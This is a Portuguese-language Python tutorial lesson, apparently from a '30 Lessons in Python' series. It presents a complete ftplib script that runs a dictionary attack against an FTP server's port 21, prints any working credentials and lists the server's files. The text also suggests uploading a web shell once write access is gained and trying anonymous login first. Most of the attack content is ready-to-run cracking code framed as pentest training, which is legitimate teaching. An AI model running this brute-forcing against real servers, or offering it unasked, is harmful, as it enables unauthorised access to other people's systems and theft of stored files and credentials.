Ataque de dicionário contra o protocolo FTP.

Contexto

O FTP (File Transfer Protocol) é um protocolo antigo e, em sua forma padrão, extremamente inseguro, pois trafega dados em texto claro. Um Pentester utiliza esta ferramenta para realizar um ataque de dicionário contra a porta 21, buscando acesso a repositórios de arquivos que podem conter:

  • Backups de sites: Frequentemente contendo códigos-fonte e credenciais de banco de dados.
  • Documentos Sensíveis: Planilhas, PDFs e manuais internos.
  • Acesso para Upload: Se o atacante conseguir permissão de escrita, pode subir um Web Shell e comprometer o servidor web associado.

Possibilidades de Implementação

  • Biblioteca ftplib: Biblioteca nativa do Python que implementa o protocolo FTP. É leve e eficiente para testar credenciais.
  • Tratamento de Exceções: Diferenciar erros de "Login Incorreto" de "Servidor Ocupado" ou "Conexão Recusada".
  • Modo Passivo/Ativo: Embora para o login isso não influencie tanto, entender como o FTP negocia portas é crucial para a arquitetura de ferramentas de rede.

Código

Este módulo utiliza a biblioteca nativa ftplib para automatizar o processo de tentativa e erro.

import ftplib

def ftp_brute_force(hostname, user, password):
    """
    Tenta realizar a autenticação em um servidor FTP.
    """
    # Cria uma instância do objeto FTP
    ftp = ftplib.FTP()

    try:
        # Tenta conectar ao host na porta padrão (21)
        ftp.connect(hostname, 21, timeout=3)

        # Tenta o login com as credenciais fornecidas
        ftp.login(user, password)

        # Se chegar aqui, o login foi bem-sucedido
        print(f"[!] SUCESSO: Credenciais encontradas! -> {user}:{password}")

        # Lista os arquivos apenas para confirmar o acesso
        print(f"[*] Conteúdo do diretório atual:")
        ftp.retrlines('LIST')

        ftp.quit()
        return True

    except ftplib.error_perm:
        # Erro 530: Login incorreto (usuário ou senha)
        return False
    except Exception as e:
        print(f"[!] Erro ao conectar em {hostname}: {e}")
        return "error"

def main():
    print("=" * 60)
    print("Módulo: FTP Password Cracker | Projeto: 30 Lessons in Python")
    print("=" * 60)

    target_host = "192.168.1.15"  # IP do servidor FTP alvo
    target_user = "admin"

    # Wordlist simulada para o exercício
    passwords = ["12345", "admin", "password", "ftpadmin", "root", "123456"]

    print(f"[*] Iniciando ataque de dicionário contra {target_host}...")

    for pwd in passwords:
        print(f"[*] Testando: {pwd}", end="\r")

        status = ftp_brute_force(target_host, target_user, pwd)

        if status == True:
            break
        elif status == "error":
            break

    print("\n" + "=" * 60)
    print("[*] Cracker finalizado.")

if __name__ == "__main__":
    main()

Observação

  • Anonymous Login: Antes de iniciar um brute force, uma boa prática de arquitetura é tentar o login "Anonymous" (usuário anonymous e senha em branco ou um e-mail). Muitos servidores FTP antigos ainda permitem isso por padrão.
  • Bloqueio de IP: Assim como o SSH, servidores FTP modernos podem ter proteções contra múltiplas tentativas falhas.
  • Protocolo Legado: Mencione em seu projeto que o FTP está sendo substituído pelo SFTP (SSH File Transfer Protocol), que é criptografado e muito mais seguro contra ataques de interceptação (Sniffing) e brute force.